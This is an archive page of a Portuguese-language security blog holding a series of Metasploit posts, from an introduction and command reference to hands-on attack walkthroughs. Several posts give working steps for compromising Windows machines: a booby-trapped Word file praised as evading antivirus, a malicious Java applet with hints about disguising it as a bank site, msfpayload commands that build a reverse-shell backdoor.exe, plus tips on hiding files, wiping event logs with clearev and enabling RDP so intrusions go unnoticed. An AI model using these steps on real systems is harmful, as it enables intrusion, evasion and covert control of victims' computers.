Mostrando postagens com marcador metasploit. Mostrar todas as postagens
Mostrando postagens com marcador metasploit. Mostrar todas as postagens

sexta-feira, 11 de julho de 2014

E ai pessoal!

O meu amigo Diego da Break Security está lançando um curso EAD sobre Metasploit Framework. Curso bem interessante e com preços competitivos. Se você está buscando conhecer um pouco mais de Metasploit, tirar dúvidas ou trocar uma idéia essa é a hora.

Para mais informações visite a página do curso.

quinta-feira, 5 de junho de 2014

Antes de ler esse post não esqueça da parte 1 e 2 aqui na página de guias!


msfconsole



Como já falamos anteriormente, o Metasploit Console, mais conhecido como msfconsole é a interface mais utilizada e conhecida por seus usuários. Vamos ver os principais comandos do msfconsole:

help: Informações de ajuda

use / back: Selecionar um módulo e sair dele, respectivamente

info / show: Obter informações do módulo

check: Testa se o alvo é vulnerável ao exploit selecionado sem executar o exploit no alvo.

exploit / run: Executar o módulo, normalmente utilizado o exploit para exploit e o run para todos os outros módulos.

connect: Similar ao telnet ou netcat.

banner: Muda o banner do Metasploit (imagem acima)

irb: interpretador ruby para testar scripts.

jobs: Módulos rodando em background.

load / unload: Carrega plugins.

resource ou flag -r: carrega instruções pré-prontas de um determinado arquivo de configuração.

set / unset: Seta valores aos parâmetros. Se estiver com um módulo selecionado seta apenas para o módulo, se não tiver nenhum módulo selecionado seta globalmente.

sessions: Interagir com sessões abertas.

search: Buscar por nome, expressão, tipo, cve, etc.

quinta-feira, 15 de maio de 2014

Olá! Vamos seguir em frente com a série. Se você não viu o primeiro post da série clique aqui!


Arquitetura e Sistema de Arquivos


A arquitetura e organização do Metasploit é um tanto complexa, o framework em si é bem grande. Você não necessariamente precisa conhecer o Metasploit a fundo para usar ele, somente para um caso de desenvolvimento, mas sempre é bom saber como as coisas funcionam.


Pode-se ver na imagem acima que os módulos são chamados pela base do sistema (MSF Base), enviados para o core para processamento (MSF Core). Junto ao core temos a chamada as ferramentas de desenvolvimento e bibliotecas. Entre essas ferramentas e bibliotecas temos por exemplo, sockets, protocolos, XOR, Base64 e muitos outros.

O MFS Base também abre para as interfaces pro usuário. São elas Console, CLI, Web e GUI.

A interface Console é a que conhecemos e usamos normalmente, linha de comando, iniciada pelo comando msfconsole. A interface CLI é a que chamamos e executamos diretamente com todos os parâmetros, a que usamos para automatizar algum script, como por exemplo, os comandos msfcli, msfpayload e msfencode.

As interfaces Web e GUI, foram oficialmente descontinuadas pela equipe do Metasploit, mas a GUI teve um sucessor independente, a ferramenta chamada Armitage

O sistema de arquivos do Metasploit é divido nos seguintes diretórios: lib, data, tools, modules, plugins, scripts e external.

lib: A base de códigos do Metasploit Framework
data: Arquivos editáveis
tools: utilitários
modules: a base de módulos
plugins: plugins que podem ser carregados
scripts: Meterpreter e outros scripts
external: Códigos e bibliotecas de terceiros.


Vou me focar aqui na interface mais utilizada, a console. Caso tenha interesse cheque também o Armitage. Em alguns exemplos pode ser que seja necessário o uso da interface CLI, mas normalmente usarei a console mesmo.

sexta-feira, 9 de maio de 2014

E ai galera!

Estou fazendo uma série de posts sobre segurança da informação em geral, algo bem prático e de simples entendimento. Você pode acompanhar post a post aqui e no final deles irei disponibilizar um paper gigante (quase um livro) e bem estruturado com todo o conteúdo. Basicamente o conteúdo destes posts serão exatamente o mesmo conteúdo que alguns sites não muito legais por ai vem cobrando para ensinar. Vou começar com metasploit. Se você não conhece absolutamente nada sobre Segurança da Informação de uma olhada no guia que postei a algum tempo atrás. Pela busca usando a tag "indicação" você também pode encontrar diversas indicações de livros, papers, vídeos, palestras e etc para aprender mais.

E vamos a ele!

Introdução

O Metasploit é uma das soluções mais completas para teste de invasão que temos hoje em dia, indo desde o básico de levantamento de informações até exploração de vulnerabilidades em dispositivos remotos e servidores. Outro atrativo dessa solução é  o fato de ser Open Source e gratuita, até um certo ponto.


Hoje em dia, o Metasploit é mantido pela comunidade e pela Rapid7 (http://www.rapid7.com/) e conta com quatro versões: uma delas gratuita e livre, que é a que já vem pré-instalada e configurada nas mais diversas distribuições Linux para Pentest, outra gratuita mas limitada e as outras duas versões comerciais.

Versões

Metasploit Pro: Uma das versões comerciais do Metasploit. Como a própria Rapid7 coloca, é uma versão para profissionais de segurança, pentesters. Tem muita coisa ali que ajuda e agiliza o processo todo de um pentest. Desde o básico de automação de scans até suporte com módulos de engenharia social.

Metasploit Express: A outra versão comercial. Esta é para os profissionais de TI, com as varreduras um pouco mais simples e ataques mais comuns. Normalmente utilizada em auditorias internas feitas pela própria equipe de TI da empresa.

Metasploit Framework: A versão open source. Denominada pela empresa como versão para pesquisadores de segurança e desenvolvedores. Seu principal objetivo é o auxílio a criação e testes de exploits. Esta versão está sendo usada para os mais diversos fins, principalmente por Hackers, Crackers e iniciantes na área. Para voltar a ser o que foi pensado, a Rapid7 está cortando funcionalidades desta versão, para que ela volte a ser apenas para pesquisadores e desenvolvedores. Para que o resto do público não se sinta obrigado a comprar a licença (relativamente cara) das outras versões, foi criada a versão a seguir.

Metasploit Community: Sendo esta versão gratuita e com interface semelhante as comerciais, voltada para todo aquele público que não se encaixa nas outras, sendo eles pequenas empresas, estudantes e por ai vai. 

Vamos nos focar aqui na versão Framework, já que é a mais usada ainda e acessível.


Conceitos e termos básicos

Antes de seguir em frente vamos a alguns conceitos.

Exploit: Um exploit é um pedaço de código que prova um conceito de uma vulnerabilidade. É um código que gatilha uma falha de segurança.

Payload: É um código arbitrário que vai executar no alvo com o objetivo de usar a vulnerabilidade explorada pelo exploit para obter algum tipo de dado, seja um arquivo de senhas ou uma conexão direta com o alvo.

Módulo: Módulos são exploits prontos do Metasploit, você pode customizar os módulos com os payloads, nops e codificações para atingir seu objetivo. Algumas outros tipos de códigos entram na definição de módulos, veremos eles logo a frente.

Sabendo disso, vamos seguir em frente. Tudo que você pode encontrar dentro do Metasploit é testado e reescrito, isso quer dizer que, diferente de um exploit que você ache na internet, todos os módulos do Metasploit fazem realmente o que dizem fazer, nada de malicioso, como um malware ou mandar informações para um terceiro.

A organização do Metasploit é bem simples, ele é subdividido em 5 áreas, Payloads, Exploits, Encoders, Nops e Auxiliares.

Payloads como comentado acima são os códigos que vão rodar no alvo com o objetivo de obter algo. Exploits também comentados acima, são os códigos que ativam as vulnerabilidades. Encoders são módulos que basicamente codificam seu exploit e payload para evitar a detecção por um Firewall, IDS, IPS e etc. Nops são geradores de códigos nulos, por exemplo em um ataque de Buffer Overflow, é necessário ir escalando a pilha para poder executar seus códigos. Uma instrução no local errado pode fazer a aplicação atacada encerrar ou até causar problemas no sistema. Para isso que servem os Nops, preencher essa área com instruções nulas para evitar problemas. E por último mas não menos importante temos os módulos auxiliares, estes são similares aos exploits mas não necessitam de payload, e não necessariamente “invadem” o alvo. Nessa categoria que você encontra módulos de bruteforce, scans, falhas de disclosure, entre outros.

O Metasploit tem centenas de módulos de todos os tipos, mas nada impede que possa ser criado um módulo específico para um ataque específico, toda a framework funciona em cima de ruby.


quinta-feira, 30 de janeiro de 2014

E ai pessoal!

Segue ai um tuto muuuito antigo meu que achei aqui pelas minhas anotações.

E o primeiro deles é o exploit conhecido oficialmente como MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability

Descrição

Esse exploit serve para criar uma conexão reversa entre o PC da vítima e o PC do atacante. Explorando uma falha presente no Microsoft Word 2007 e posteriores. Basicamente é um arquivo do Word com um exploit em Python ou Ruby dentro.

Prós

* Exploit roda em qualquer versão do Windows
* Exploit roda em todas as versões anteriores do Office 2007
* Fácil utilização
* Antivirus não detecta (testado com Avast, AVG e Kaspersky) Prova aqui!

Contras

* Existe patch disponível
* A vitima precisa receber e abrir o arquivo do word, caso o word seja fechado a conexão é finalizada em boa parte das vezes
* A vitima precisa ter instalado o active python/active ruby
* Word 2010 detecta como possível ameaça

Utilização

Vamos lá!
Esse exploit pode ser encontrado no framework Metasploit. Para encontra-lo, digite no terminal do Backtrack ou qualquer outra distro para pentest o comando a seguir:

msfconsole

E para procurar o exploit no banco de dados:

search ms12


Pronto! Já temos o caminho do exploit, então vamos usá-lo:

use exploit/windows/fileformat/ms12_005


Agora vamos ver as informações que precisamos passar para o exploit com o seguinte comando:

show options


Podemos mudar o FILENAME (nome do arquivo final), SRVHOST (ip do atacante), SRVPORT (porta de conexão) e PAYLOAD_TYPE (especificar se quer ruby ou python).


Vamos usar o comando exploit para gerar o arquivo e iniciar o server:


Agora só precisamos mandar esse arquivo para a vitima e esperar que ela abra...

Na máquina windows com antivirus e Office instalado vamos tentar executar nosso exploit:



Como vimos o antivirus não tentou impedir nem a cópia para o PC e nem a abertura, o único alerta é uma mensagem do word dizendo que os macros foram desativados. Só depois dos macros serem ativados que o exploit roda...

 

Assim que os macros forem liberados, surge uma janela de confirmação pedindo se o python/ruby pode ser executado, caso não tenha instalado nada acontece e você perdeu um tempão :P

 

Assim que for dada a confirmação para o python uma janela do prompt aparece, quando for fechada a conexão é encerrada então seja rápido.



Agora que foi aberto o arquivo e em quanto tudo está aberto vamos de volta ao pc atacante ver o que está acontecendo por lá...



Pronto! Usei os comandos sessions -l para listar as sessões abertas, sessions -i 1 para acessar a primeira (e unica) sessão e o comando sysinfo para ver as infos da maquina invadida...

E era isso por em quanto!

Caso gostaram da idéia posto mais uns tutos/reviews de alguns tools e exploits...

Se quiserem indicar uma tool ou exploit também é bem vindo xD

Valeu

terça-feira, 26 de novembro de 2013

Olá!

Hoje vai uma dica de como esconder arquivos em uma máquina previamente atacada. Uma dica interessante: a vítima não consegue ver o arquivo nem habilitando a opção "Mostrar arquivos e pastas ocultas".

Assim que tiver uma sessão do meterpreter aberta use o comando shell para receber a shell da máquina alvo.


Localize o arquivo que deseja ocultar, no meu caso , o arquivos senhas.txt no desktop do usuário.


Com o comando attrib +h +r +s <nome_do_arquivo> podemos esconder um arquivo, pasta ou até mesmo unidade (C:/, D:/, etc).


E ai está! O arquivo sumiu!

Caso queira o arquivo de volta basta usar o comando attrib -h -r -s <nome_do_arquivo>.

OBS: Estes comandos também funcionam direto no "cmd" caso tenha acesso físico a máquina.


Eu fico por aqui! Bons estudos!

segunda-feira, 25 de novembro de 2013

E ai pessoal!

Sobrou um tempo essa semana então vamos a alguns tutoriais.

O tutorial de hoje é um módulo do Metasploit para obter uma lista com todos os programas instalados em uma máquina que já foi previamente atacada pelo Metasploit e já temos uma sessão aberta.

Se você não sabe como conseguir uma sessão de uma pesquisada no blog, já temos alguns posts sobre isso, atacando as mais diversas falhas.

E vamos lá!

Primeiramente, utilizei o comando sessions -l para obter a lista das sessões abertas.


Uma coisa muito importante é lembrar o número do id da sessão, neste caso 2. Precisaremos disso mais para frente.

O módulo que vamos utilizar é o post/windows/gather/enum_applications.


A única informação que precisamos é o id da sessão, como comentei anteriormente.


Com isso pronto podemos rodar o módulo e se tudo der certo obteremos uma lista com todos os programas.


E ai está!

Com isso podemos a partir dai lançar outros exploits ou buscar informações interessantes.

Eu fico por aqui! Bons estudos!

sábado, 23 de novembro de 2013

Veja uma lista feita pela Sans com algumas ferramentas necessárias para todos os pentesters.

Software

Fonte: Sans 

segunda-feira, 18 de novembro de 2013

E ai galera!

Acredito que todo o pentester, hacker e aprendiz já tenha passado pelo menos alguma vez pelo Metasploit. O Meterpreter tem diversos scripts que foram escritos por diversos hackers no decorrer de sua existência e boa parte deles se não todos é de extrema importância que você conheça, pode quebrar um galho.

A idéia é que o Metasploit e o Meterpreter continuem em desenvolvimento, então pode ser que se você ver isso daqui a alguns anos vai estar incompleto.

Comandos e suas descrições

  • arp_scanner.rb - Script para fazer um scan ARP.
  • autoroute.rb - Sessão do Meterpreter sem ter que colocar a sessão atual em background.
  • chechvm.rb - Script que detecta se o alvo é uma máquina virtual.
  • credcollect.rb - Script para roubar credenciais do host e salvar em um banco.
  • domain_list_gen.rb - Script para extrair lista de contas domain admin.
  • dumplinks.rb - Recolhe informações de arquivos .lnk, como documentos recentes, time stamps, localização, nomes de compartilhamentos e mais.
  • duplicate.rb - Usa a sessão do Meterpreter para criar uma nova em um processo diferente, dando liberdade a ações diferentes e mais arriscadas como desabilitar antivirus, iniciar keylogger e etc.
  • enum_chrome.rb - Script que extrai dados do Chrome
  • enum_firefox.rb - Script que extrai dados do Firefox
  • enum_logged_on_users.rb - Script para enumerar usuários logados no sistemas e usuários que já logaram neste sistema.
  • enum_powershell-env.rb - Enumera configurações de PowerShell e WSH
  • enum_putty.rb - Enumera as conexões do Putty.
  • enum_shares.rb - Script para enumerar compartilhamentos atuais e antigos montados.
  • enum_vmware.rb - Enumera configurações de produtos VMware.
  • event_manager.rb - Mostra informações sobre Logs de Eventos  e suas configurações.
  • file_collector.rb - Script para procurar e baixar arquivos que batam com um específico padrão.
  • get_application_list.rb - Script que extrai uma lista de todos os programas instalados na máquina e suas versões.
  • getcontermeasure.rb - Script para detectar antivirus, firewall, configurações de segurança, com opção de remover e desinstalar essas ferramentas.
  • get_env.rb - Script para extrair uma lista de variáveis de ambiente.
  • getfilezillacreds.rb - Script para extrair servidores e credenciais do Filezilla.
  • getgui.rb - Script para habilitar o Windows RDP.
  • get_local_subnets.rb - Receber uma lista de subnets de acordo com os roteamentos.
  • get_pidgen_creds.rb - Script para obter serviços configurados, seus usuários e senhas.
  • gettelnet.rb - Verificar telnet instalado.
  • get_valid_communitu.rb - Receber uma community string válida do SNMP.
  • getvncpw.rb - Recever a senha do VNC.
  • hashdump.rb - Pega os hashs de senha do SAM.
  • hostedit.rb - Script para adicionar entradas no arquivo Hosts do Windows.
  • keylogrecorder.rb - Script para rodar keylogger e salvar teclas.
  • killav.rb - Desabilita quase todos os softwares antivirus.
  • metsvc.rb - Deleta um serviço do meterpreter e inicia outro.
  • migrate - Migrar o Meterpreter para outro processo.
  • multicommand.rb - Script para rodar múltiplos comandos no Windows 2003, Vista, XP e 2008.
  • multi_console_command.rb - Script para rodar múltiplos comandos em uma sessão do Meterpreter.
  • multi_meter_inject.rb - Script que injeta um payload meterpreter reverse tcp na memória em diversos processos, se nenhum destes processos for iniciado, a sessão será iniciada pelo processo notepad.
  • multiscript.rb - Script para rodar múltiplos scripts em uma sessão do Meterpreter.
  • netenum.rb - Script para realizar ping sweeps no Windows 2003, 2008, XP e Vista usando comandos nativos.
  • packetrecorder.rb - Script para capturar pacotes e salvar em um arquivos PCAP.
  • panda2007pavsrv51.rb - Esse módulo explora uma vulnerabilidade no Panda Antivirus 2007, utilizado para elevar os privilégios do atacante.
  • persistence.rb - Script para criação de um backdoor no host.
  • pml_driver_config.rb - Explora uma vulnerabilidade no driver PML da HPZ12, para elevar privilégios.
  • powerdump.rb - Meterpreter usa apenas PowerShell para extrair usuários e hashes de senhas das chaves de registro. Esse script necessita estar rodando como System para que funcione. Testado em Windows 2008 e 7.
  • prefetchtool.rb - Script para extrair informações da pasta prefetch do Windows.
  • process_memdump.rb - Script baseado no paper Neurosurgery With Meterpreter.
  • remotewinenum.rb - Esse script vai enumerar hosts Windows passando como parametro um usuário e senha, usando ferramentas nativas do Windows.
  • scheduleme.rb - Script para automatizar diversas tarefas durante um pentest. Funciona em Windows XP, 2003, 2008 e Vista.
  • schelevator.rb - Explora uma vulnerabilidade para elevação de privilégios através do Windows Vista/7/2008 Task Scheduler 2.0.
  • schtasksabuse.rb - Similar ao schelevator.rb, mas possibilitando ataques múltiplos a outras máquinas.
  • scraper.rb - Obter informações do sistema.
  • screenspy.rb - Este script abre uma visualização interativa da tela do alvo. Necessário Firefox instalado.
  • screen_unlock.rb - Script para habilitar compartilhamento de tela. Necessita privilégios de System.
  • screen_dwld.rb - Script que busca recursivamente e baixa arquivos que batam com padrão especificado.
  • service_manager.rb - Script para gerenciar serviços Windows.
  • service_permissions_escalate.rb - Script que varre a máquina alvo em busca de serviços mal configurados onde possa injetar um payload para quando reiniciado o serviço eleve os privilégios do atacante.
  • sound_recorder.rb - Script para gravar o som através de um microfone na máquina obviamente.
  • srt_webdrive_priv.rb - Explora uma vulnerabilidade para elevar seus privilégios no  South River Technologies WebDrive.
  • uploadexec.rb - Script para mandar executáveis para o host.
  • virtualbox_sysenter_dos.rb - Script para ataque DoS no Virtual Box.
  • virusscan_bypass.rb - Script que "mata" o Mcaffe VirusScan Enterprise v8.7.0i+.
  • vnc.rb - Meterpreter para obter a versão do VNC.
  • webcam.rb - Script para obter imagens da webcam, obviamente.
  • win32-sshclient.rb - Script para rodar o comando "plink" para cliente ssh. Suportado apenas no Windows 2000,XP e Vista.
  • win32-sshserver.rb - Script para instalar e rodar o OpenSSH no alvo.
  • winbf.rb - Script para verificar a politica de senhas do host.
  • winenum.rb - Enumerar informações do Windows, incluindo variáveis de ambiente, interfaces de rede, roteamento, contas e etc.
  • wmic.rb - Script para rodar comandos WMIC no Windows 2003, Vista, XP e 2008.

segunda-feira, 14 de outubro de 2013

Documento foi enviado para registradora de domínio.
Problema foi resolvido depois de uma hora.

Usando apenas uma mensagem via fax, hackers redirecionaram site de segurança para mensagem de ativismo político em favor da Palestina.  (Foto: Reprodução)
Hackers do grupo "KDMS Team" desfiguraram osite da empresa de segurança Rapid7 na sexta-feira (11) deixando uma mensagem em protesto pela Palestina.
O site foi desfigurado por meio do redirecionamento do endereço para um servidor controlado pelos hackers. A alteração no site foi realizada com o envio de um fax para a Register.com, responsável pelo registro do endereço "metasploit.com".
Uma vez que a modificação foi realizada, eles conseguiram redirecionar o site para outro endereço. Dessa forma, os sistemas da empresa em nenhum momento foram invadidos pelos hackers.Enviando um fax fraudulento para a Register.com, que é responsável pelo registro do endereço, os hackers solicitaram uma modificação na configuração do domínio.
A Rapid7 é especializada no controle de vulnerabilidades e oferece ferramentas que auxiliam a realização de testes de invasão. O produto mais conhecido da empresa é o Metasploit, que reúne um conjunto de códigos para explorar vulnerabilidades.
O criador do Metasploit, HD Moore, revelou a forma de ataque em uma publicação no Twitter e acrescentou que o hacking foi "como se fosse [o ano] de 1964".
Em agosto, endereços do New York Times, Huffington Post e Twitter também foram sequestrados por hackers por conta de um problema em uma registradora de domínios. Uma revendedora teve sua senha de acesso comprometida, permitindo aos hackers a alteração dos domínios.

Fonte:  G1

sábado, 13 de julho de 2013

O netool.sh é um script em bash para automatizar tools e frameworks como nmap, Driftnet, sslstrip, Metasploit e ettercap. Este script facilita (mais ainda) o uso de ferramentas como captura de tráfego TCP/UDP, Ataques Man in The Middle, Sniff em SSL, DNS spoofing e outras coisas. Confira abaixo:



Para mais informações acesse a página de Desenvolvimento no Sourceforge.

quinta-feira, 13 de junho de 2013

Ultimamente venho postando alguns conteúdos de pós exploração aqui no site. Hoje então resolvi falar sobre uma faze muito importante de um pentest, a limpeza de rastros.

Como vocês já podem imaginar, o meterpreter tem um comando que resolve nosso problemas caso nosso alvo seja um Windows.

Basicamente, a única coisa que você precisa fazer é após executar todo o ataque e todas as ações que você pretendia no computador infectado basta rodar o comando clearev para apagar todos os logs. Claro que isso não é tudo, mas vai te dar uma bela vantagem.


E era isso! Simples assim! :)
Olá!

Tenho aqui mais um post interessante de pós exploração. Desta vez vamos facilitar nosso acesso ao alvo habilitando e acessando por RDP (Remote Desktop Protocol) e obviamente temos um módulo para isso no Metasploit.

Como em toda pós exploração, você já precisa de uma sessão aberta com o alvo, como já temos alguns posts sobre isso vou pular essa parte.

Aqui podemos ver que já tenho a sessão aberta, então vamos ao módulo:


O exploit e suas opções você pode ver abaixo:


A única coisa obrigatória que precisamos informar é a sessão, mas temos algumas outras como porta, usuário e senha para passar mais despercebido ainda. Neste caso vou apenas com a sessão:


Pronto! Se você ver uma saída como está está tudo certo, agora é só logar por RDP. Já tenho preparado aqui um cliente RDP no meu mac, uma máquina que nem fez parte do ataque, e mesmo assim vou ter acesso, se esse exploit deu certo ele habilitou no alvo o RDP para qualquer conexão.




E ai está! Consegui liberar o acesso remoto. Agora, para que isso é útil? Simples, acessar por RDP mesmo que deixe rastros, obviamente são mais simples e passam despercebidos do que uma sessão do Meterpreter. Com isso pode levar tempo até o alvo perceber que está sendo acessado, ou até mesmo nunca perceber.

segunda-feira, 10 de junho de 2013

Hoje vamos ver alguns módulos interessantes que eu achei aqui no Metasploit. Todos os módulos mostrados aqui são de pós exploração, então você já precisa ter uma sessão aberta com o alvo.

Primeiramente vamos listar os discos conectados no alvo com o módulo enum_drives:


Após setar o que é necessário, podemos ver que temos dois discos. Acabei de deletar algumas coisas no  disco C:/ dessa máquina, vamos ver como recuperar esses arquivos.

Vou usar o módulo recovery_files. Primeiro temos que rodar o módulo para descobrir o que pode ser recuperado e depois rodar de novo para recuperar.


Consegui algumas coisas, vou tentar recuperar algumas coisas:


E consegui, mas isso é bem relativo, depende muito do tempo que foi apagado e como foi apagado, porque ele resgata o que foi escrito em disco, e se algo reescrever aquela posição já não tam mais como recuperar.

Eu fico por aqui! Bons estudos!

domingo, 26 de maio de 2013

Voltei com mais um método de invasão do nosso querido Windows.

Dessa vez vou abordar o segundo caso do post anterior, os ataques que exploram alguma vulnerabilidade através do browser da vítima. Para este exemplo a vítima precisa ter instalado o temido java, caso contrário não vai funcionar.

Lembrando: estes casos iniciais que estou mostrando aqui só vão ocorrer em um ambiente controlado. Acho que ninguém seria burro o suficiente para clicar em um link do tipo http://xxx.xxx.xxx.xxx:8080/QeuYsz, mais para frente vamos aprender como camuflar esse tipo de coisa para dai sim ficar mais convincente. ;)

Vamos então iniciar o Metasploit com o comando msfconsole e acessar nosso exploit:

use exploit/multi/browser/java_signed_applet
show options


OBS: Neste caso temos ali em Exploit Target quais alvos ele pode exploitar. Nesse caso apenas 32bits, se você tentar em um 64bits pode ser que nada aconteça.

Vamos preencher os campos necessários como sempre, SRVHOST e URIPATH e executar:


Iniciado e funcionando! Agora precisamos que a vítima entre neste endereço. Como estamos em um ambiente controlado, para facilitar vamos apenas digitar isso no navegador ;)

Assim que a página carrega em branco, ou com um Loading... escrito eu recebo um aviso de que uma aplicação java está pedindo permissão para ser executada:


Agora você me pergunta: Quem seria o idiota que executaria esta aplicação de um site estranho que nem carregou? A resposta é simples e eu já falei ela no início deste post. Como é um teste controlado está tudo certo e num teste real tem grandes chances de não funcionar, mas imagine isso aparecendo em um site que se parece muito com o site do banco da vítima, grandes chances dela clicar, mas veremos isso mais para frente, veja o que aparece no seu terminal se a pessoa liberar a execução:


Neste caso não caimos direto no meterpreter, precisaremos interagir com a sessão, mas sabemos que deu certo por que está escrito ali session 1 opened...

Para acessarmos essa sessão do meterpreter primeiro temos que confirmar o id da sessão listando todas as sessões abertas com o comando sessions -l, e depois interagindo com o comando sessions -i [id_da_sessão]:


Agora sim! Está ai! Vou rodar alguns comandos para confirmar que está tudo certo:


Tudo funcionando perfeitamente, estou novamente com controle da máquina alvo. Com isso já vimos dois dos principais tipos de ataques, aguarde que já já vem mais e depois vamos melhorar estes ataques para daí sim poder partir para a pós exploração.

Bons estudos!

sábado, 25 de maio de 2013

Olá pessoal!

Como vejo muitas pessoas com essas dúvidas simples venho com este post para resolver todas ou pelo menos boa parte delas. Muitas pessoas veem tutoriais, tools e scripts para fazer após invadir uma máquina com Windows, mas o que a maior parte delas é como invadir um windows. Como estou pensando em fazer vários posts com ferramentas para pós exploração primeiro tenho que sanar as dúvidas mais básicas. Então vamos a elas:

Como eu invado um Windows?

A cada dia que passa está cada vez mais difícil de conseguir um exploit que libere de cara acesso remoto, quem já usou o clássico net_api sabe do que me refiro, roda o exploit e já cai direto na shell do alvo. Hoje em dia, para você conseguir realmente invadir alguém você vai ter que primeiro descobrir o que a vítima tem instalado, que é a porta mais fácil para uma invasão bem sucedida. Temos exploits para Java (muitos), Adobe Reader, Word, Excel, Foxit Reader, entre outros. O que você pode fazer é convencer a vítima a baixar um arquivo infectado e com isso tomar o controle da máquina, este processo é conhecido como conexão reversa, porque no caso é o alvo que se conecta a você e não você diretamente no alvo. Isso é útil para caso o alvo tenha um firewall que impede que você chegue até a máquina, mas provavelmente ele não vai impedir que ele chegue até você.

Outro método muito utilizado é uma página infectada com algo malicioso que assim que a pessoa acessa o browser dispara uma instrução para algum programa que acessa a falha, libera o exploit e da a você o controle. Tem também outros métodos, como por exemplo um pendrive com um payload no autorun, assim que conectado infecta a máquina.

Mas a real é, de algum modo ou outro, você vai ter que convencer a vítima a fazer algo, acessar algo ou clicar em algo.

Mas e se a vítima não estiver na mesma rede que eu?

Todos os tutoriais disponíveis na internet, com algumas exceções, mostram os testes em ambientes controlados, normalmente em máquinas virtuais em uma mesma rede fechada. Isso facilita bastante se você tiver essa possibilidade, mas se não tiver não tem problema, nada impede que você mande um PDF infectado para alguém do outro lado do mundo e assim que ela clicar você tomar o controle da máquina, só tem algumas coisas a mais que você tem que cuidar, como por exemplo, ter um ip externo fixo, ter no seu roteador um redirecionador de portas para mandar a requisição que chegar na porta do roteador para a porta da sua máquina que já vai estar esperando a conexão reversa. Estou montando já um post sobre isso, aguarde...

Fiz exatamente igual ao tutorial e não funcionou, o que eu fiz de errado?

Talvez nada! Sim, pode ser que mesmo fazendo tudo certo como mostra o tutorial seu ataque não seja bem sucedido. Tem muitos fatores que podem influenciar o resultado de um ataque, como por exemplo, a versão do sistema do alvo, o idioma do sistema do alvo, a versão do programa vulnerável, compartilhamento ativado/desativado, firewall ativado/desativado, e muitas outras coisas.

Se seu ataque deu errado não desista, tente novamente com outro exploit. Métodos e falhas é o que mais tem por ai, não é difícil achar uma que dê certo para você.




Acho que essas são as dúvidas mais básicas, assim que eu for lembrando de mais eu vou colocando aqui. Então vamos a prática que mostrar é mais fácil do que descrever. A cada post vou mostrar um método diferente de obter acesso a uma máquina Windows, caso não esteja conseguindo ou alguma outra dúvida surgir não hesite em me contatar no email.

Vamos então ao método mais simples de infecção. Vou gerar um arquivo .exe malicioso e enviar para a  vítima, para facilitar vou fazer em meu lab, mas não esqueça, isso funciona em uma situação real.

Primeiramente vamos usar o comando msfpayload, uma ferramenta do framework do Metasploit para gerar apenas o payload executável para a vítima poder clicar.

O comando é super simples:

msfpayload windows/meterpreter/reverse_tcp LHOST=”seu IP” LPORT=”porta para conexão” x > /root/backdoor.exe

Não precisa utilizar necessariamente a porta 4444 eu estou usando esta porque é a padrão do Metasploit. Agora o que eu fiz foi enviar esse arquivo executável para uma máquina windows e clicar nele lá. Mas antes da vítima executar precisamos ficar esperando a conexão na máquina atacante. Para isso vamos usar o exploit handler que pode ser encontrado em exploit/multi/handler no Metasploit. Inicie o Metasploit com o comando msfconsole e digite os seguintes comandos:

use exploit/multi/handler  <-- Exploit que vai ser usado para aguardar a conexão
set payload windows/meterpreter/reverse_tcp  <-- Payload que será injetado assim que o alvo se conectar
set lhost 192.168.1.5  <-- IP do atacante
set lport 4444 <-- Porta setada no payload que foi enviado para a vítima, se colocar uma porta diferente aqui nunca chegará a conexão
exploit  <-- Rodar o exploit


Tudo pronto! Se chegamos até aqui é porque deu tudo certo, handler iniciado e aguardando a conexão. Agora sim a vítima pode clicar no executável: 


Assim que a vítima clicar você verá no terminal algo parecido com isto:


E com isso conseguimos o acesso ao alvo! Como pode ver estamos com a shell do meterpreter. O meterpreter é um lançador de comandos, como se fosse a shell. É o que vai interagir entre as duas máquinas. Vamos rodar alguns comandos interessantes aqui para termos certeza de que estamos de fato na máquina da vitima. Na imagem abaixo eu rodei o comando sysinfo do meterpreter para obter infomações da máquina que estou conectado e o comando shell para receber a shell do alvo. Na shell do alvo usei o comando dir para listar os diretórios da pasta atual.


E por em quanto é isso! No próximo post vou dificultar um pouco mais e colocar alguns conceitos mais aprofundados.

Bons estudos!

segunda-feira, 20 de maio de 2013

O Metasploit é um framework que auxilia o profissional de segurança da informação a desenvolver e executar exploits. Ele é figurinha carimbada em testes de invasão atualmente, sendo até meio que mal utilizado pelos testers (executar odb_autopwn e mostrar que conseguiu shell *não* é penetration testing!). Se você trabalha com segurança da informação ou mesmo se você é um administrador de redes que gosta de verificar a segurança dos seus servidores (parabéns pra você!), com certeza já usou o Metasploit Framework.

Mas, mesmo usando tanto o Metasploit, você já parou pra pensar nas diferenças entre os tipos de payloads que ele oferece? Você sabe o que é um payload? Então vamos aprender isso hoje! :)

O que é um payload?


A definição da SecurityFocus.com:


The part of the packet, message or code that carries the data. In information security, the term payload generally refers to the part of malicious code that performs the destructive operation.

Em tradução livre:


A parte do pacote, mensagem ou código que contém os dados. Em segurança da informação, o termo payload geralmente se refere à parte do código malicioso que executa alguma operação destrutiva.

No caso de um exploit, o payload é a parte do código injetada na vítima que vai executar alguma ação: criar um usuário, iniciar um processo, apagar arquivos, etc. Ou seja lá o que for que o atacante quer que seja executado quando a vulnerabilidade for explorada com sucesso pelo seu exploit.

A maioria dos tutoriais que você encontra na Internet raramente abordam payloads em detalhes. “Seleciona o exploit X para isso e um payload à sua escolha” (ficou parecendo objetivo do War, mas deu pra entender! heheh), chegando ao ponto de simplesmente falar para você escolher o Meterpreter em casos onde ele simplesmente não é a melhor escolha ou onde ele vai apenas levar mais tempo pra fazer o que um outro payload faz. A seleção do payload correto é tão importante quanto a seleção do exploit.


NOTA: Aqui vai mais um aviso para os iniciantes: quando você encontra um exploit na Internet, não saia apenas compilando e executando. São inúmeros os casos de exploits que têm payloads que ao serem executados simplesmente apagam todo o conteúdo da máquina local (não da vítima). Por isso, é importante que você analise e entenda o que o payload do exploit que você pegou vai fazer e que você execute este exploit antes em um ambiente de testes para não arriscar perder dados.

Se você digitar “show payloads” no “root” do msfconsole vai ver que ele vai te mostrar todos os 251 payloads disponíveis (este é o número atual enquanto escrevo este texto). Se você digitar o “show payloads” depois de selecionar um módulo específico, ele irá mostrar apenas os payloads compatíveis com aquele exploit. Isso acontece por que se você selecionar o payload errado, você pode acabar travando o seu alvo e tendo uma dor de cabeça bem grande se estiver fazendo um penetration test em um sistema crítico. Existe um payload adequado para cada situação e para entender qual deles escolher, você precisa entender que eles são separados em diferentes categorias: stagers, stages e singles (ou inline).

